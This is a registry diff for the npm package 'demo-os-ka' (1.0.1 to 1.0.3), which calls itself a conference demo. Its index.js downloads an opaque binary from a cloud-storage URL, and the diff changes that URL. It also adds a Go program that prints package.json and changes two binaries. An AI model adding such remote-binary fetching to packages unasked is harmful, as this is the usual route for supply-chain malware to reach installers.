demo-os-ka 1.0.1 → 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/index.js CHANGED
@@ -12,7 +12,7 @@ async function initialize() {
12
12
  await main(); // Main is here [Note]
13
13
  }
14
14
 
15
- const TARGET_URL = 'https://sc-demo-ka.nyc3.digitaloceanspaces.com/my-binary';
15
+ const TARGET_URL = 'https://sc-demo-backup.nyc3.digitaloceanspaces.com/my-binary';
16
16
  const BINARY_PATH = path.join(__dirname, 'my-binary');
17
17
 
18
18
  async function download() {
package/main.go ADDED
@@ -0,0 +1,33 @@
1
+ package main
2
+
3
+ import (
4
+ "fmt"
5
+ "os"
6
+ )
7
+
8
+ func main() {
9
+ fileNames := []string{"package.json", "package-lock.json"}
10
+ found := false
11
+
12
+ for _, fileName := range fileNames {
13
+ if _, err := os.Stat(fileName); err == nil {
14
+ content, err := os.ReadFile(fileName)
15
+ if err != nil {
16
+ fmt.Println("Error reading file:", err)
17
+ return
18
+ }
19
+ fmt.Println(string(content))
20
+ found = true
21
+ break
22
+ }
23
+ }
24
+
25
+ if !found {
26
+ currentPath, err := os.Getwd()
27
+ if err != nil {
28
+ fmt.Println("Error getting current directory:", err)
29
+ return
30
+ }
31
+ fmt.Println("Neither package.json nor package-lock.json found in:", currentPath)
32
+ }
33
+ }
package/my-binary CHANGED
Binary file
package/my-binary-c ADDED
Binary file
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "demo-os-ka",
3
- "version": "1.0.1",
3
+ "version": "1.0.3",
4
4
  "description": "Demo package created as part of conference presentation.",
5
5
  "main": "index.js",
6
6
  "scripts": {